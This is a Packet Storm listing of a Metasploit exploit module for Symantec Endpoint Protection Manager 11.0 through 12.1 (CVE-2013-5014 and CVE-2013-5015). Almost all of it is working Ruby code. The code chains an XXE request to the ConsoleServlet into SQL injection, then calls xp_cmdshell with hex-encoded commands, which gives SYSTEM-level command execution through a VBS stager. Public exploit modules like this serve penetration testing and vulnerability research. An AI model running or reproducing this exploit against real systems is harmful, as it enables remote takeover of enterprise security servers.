Symantec Endpoint Protection Manager Remote Command Execution

2014-02-26T00:00:00
ID PACKETSTORM:125410
Type packetstorm
Reporter Chris Graham
Modified 2014-02-26T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'msf/core/exploit/powershell'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include REXML  
include Msf::Exploit::CmdStagerVBS  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Symantec Endpoint Protection Manager Remote Command Execution',  
'Description' => %q{  
This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager  
versions 11.0, 12.0 and 12.1. When supplying a specially crafted XXE request an attacker  
can reach SQL injection affected components. As xp_cmdshell is enabled in the included  
database instance, it's possible to execute arbitrary system commands on the remote system  
with SYSTEM privileges.  
},  
'Author' =>  
[  
'Stefan Viehbock', # Discovery  
'Chris Graham', # PoC exploit  
'xistence <xistence[at]0x90.nl>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-5014' ],  
[ 'CVE', '2013-5015' ],  
[ 'EDB', '31853'],  
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ]  
],  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
'Targets' =>  
[  
['Windows VBS Stager', {}]  
],  
'Privileged' => true,  
'DisclosureDate' => 'Feb 24 2014',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(9090),  
OptString.new('TARGETURI', [true, 'The base path', '/'])  
], self.class)  
end  
  
def check  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET',  
})  
  
if res && res.code == 200 && res.body =~ /Symantec Endpoint Protection Manager/ && res.body =~ /1995 - 2013 Symantec Corporation/  
return Exploit::CheckCode::Appears  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
print_status("#{peer} - Sending payload")  
# Execute the cmdstager, max length of the commands is ~3950  
execute_cmdstager({:linemax => 3950})  
end  
  
def execute_command(cmd, opts = {})  
# Convert the command data to hex, so we can use that in the xp_cmdshell. Else characters like '>' will be harder to bypass in the XML.  
command = "0x#{Rex::Text.to_hex("cmd /c #{cmd}", '')}"  
  
# Generate random 'xx032xxxx' sequence number.  
seqnum = "#{rand_text_numeric(2)}032#{rand_text_numeric(4)}"  
  
soap = soap_request(seqnum, command)  
  
post_data = Rex::MIME::Message.new  
post_data.add_part(soap, "text/xml", nil, "form-data; name=\"Content\"")  
xxe = post_data.to_s  
  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),  
'method' => 'POST',  
'vars_get' => { 'ActionType' => 'ConsoleLog' },  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'data' => xxe,  
})  
  
if res and res.body !~ /ResponseCode/  
fail_with(Failure::Unknown, "#{peer} - Something went wrong.")  
end  
end  
  
def soap_request(seqnum, command)  
randpayload = rand_text_alpha(8+rand(8))  
randxxe = rand_text_alpha(8+rand(8))  
entity = "<!ENTITY #{randpayload} SYSTEM \"http://127.0.0.1:9090/servlet/ConsoleServlet?"  
entity << "ActionType=ConfigServer&action=test_av&SequenceNum=#{seqnum}&Parameter=';call xp_cmdshell(#{command});--\" >"  
  
xml = Document.new  
xml.add(DocType.new('sepm', "[ METASPLOIT ]"))  
xml.add_element("Request")  
xxe = xml.root.add_element(randxxe)  
xxe.text = "PAYLOAD"  
  
xml_s = xml.to_s  
xml_s.gsub!(/METASPLOIT/, entity) # To avoid html encoding  
xml_s.gsub!(/PAYLOAD/, "&#{randpayload};") # To avoid html encoding  
  
xml_s  
end  
  
end  
  
`